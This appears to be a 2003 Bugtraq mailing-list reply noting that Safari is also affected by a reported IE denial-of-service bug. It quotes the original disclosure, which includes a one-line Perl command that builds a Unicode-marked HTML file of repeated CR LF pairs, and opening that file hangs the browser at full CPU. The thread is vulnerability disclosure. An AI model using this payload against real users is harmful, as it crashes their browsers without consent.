Apple's Safari browser appears to be effected too.... Safari 1.0 Beta 2 (v73) PID COMMAND %CPU TIME #TH #PRTS #MREGS RPRVT RSHRD RSIZE VSIZE 3249 Safari 94.2% 0:07.20 4 108 288 5.40M 23.1M 14.7M 130M On Tuesday, April 29, 2003, at 11:23 AM, ERRor wrote: > Hello, Bugtraq. > > Malicious htm file can freeze IE with 100% CPU usage: > Construct the file freeze.htm: > c:\>perl -e "print qq'\xFF\xFE'; print qq'\r\n' x 30000" > freeze.htm > > After opening freeze.htm IE will hang with 100% CPU usage until > IEXPLORE.EXE > process is not killed. Two bytes (0xff 0xfe) at the beginning of the > file > mean that > the encoding is unicode. So the internal unicode representation of the > CR LF > sequence > will look like 0D0A0D0A but not 000D000A (if the file was a plain > ASCII). > Tested on IE 6.0 with all fixes, i think other versions also > vulnerable. > > > Best Regards, ERRor, dHtm. > P.S. greets to .einstein. and dHtm >
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